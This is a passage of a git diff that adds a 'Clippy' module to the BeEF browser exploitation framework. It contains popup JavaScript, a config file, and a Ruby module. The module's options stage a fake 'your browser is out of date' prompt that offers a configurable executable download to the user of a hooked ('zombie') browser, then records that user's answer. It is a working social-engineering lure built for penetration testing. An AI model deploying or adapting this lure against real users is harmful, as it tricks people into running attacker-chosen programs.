clearTimeout(this.timer); + this.timer = false; + } catch(e) {} + } + + if(typeof(key) !== "string" && key.length) + this.sayOne(key,alternative); + + this.openBubble( this.help[ key ].toElements() ); +} +Clippy.prototype.firstLine = function() { + this.sayOne(this.firstlines); +} +Clippy.prototype.talkLater = function() { + this.closeBubble(); + var _c = this; + this.timer = setTimeout( function() { _c.firstLine(); }, 2000); +} +Clippy.prototype.openBubble = function(_o) { + + if (typeof(_o)=="string") { + var o = document.createElement("p"); + o.innerHTML = _o; + } else { + var o = _o; + } + + if (this.bubble) { + this.bubble.close(); + } + + this.bubble = new PopupDisplay(o,{file_dir:this.file_dir}); + this.homebase.appendChild(this.bubble.getElement()); + +} +Clippy.prototype.closeBubble = function() { + if (this.bubble) { + this.bubble.close(); + } +} + +/* APPLICATION LOGIC: */ +// function clippy_boot() {if(document.getElementsByTagName("BODY").length === 0) {setTimeout("clippy_boot()",1);} else {clippy_main();}return;} +// function clippy_main() {var c = new Clippy("homebase","./").run();} +/* GO! */ +// clippy_boot(); + +__clippyboot(function(){new Clippy("body","<%== @clippydir %>").run();}); + +}); diff --git a/modules/misc/clippy/config.yaml b/modules/misc/clippy/config.yaml new file mode 100755 index 000000000..89d7861be --- /dev/null +++ b/modules/misc/clippy/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + clippy: + enable: true + category: "Misc" + name: "Clippy" + description: "Brings up a clippy image and asks the user to do stuff." + authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"] + target: + user_notify: ['ALL'] diff --git a/modules/misc/clippy/module.rb b/modules/misc/clippy/module.rb new file mode 100755 index 000000000..1f519bb74 --- /dev/null +++ b/modules/misc/clippy/module.rb @@ -0,0 +1,36 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Clippy < BeEF::Core::Command + + def self.options + return [ + {'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'}, + {'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'}, + {'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'}, + {'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'}, + {'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'} + ] + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def post_execute + save({'answer' => @datastore['answer']}) + end + +end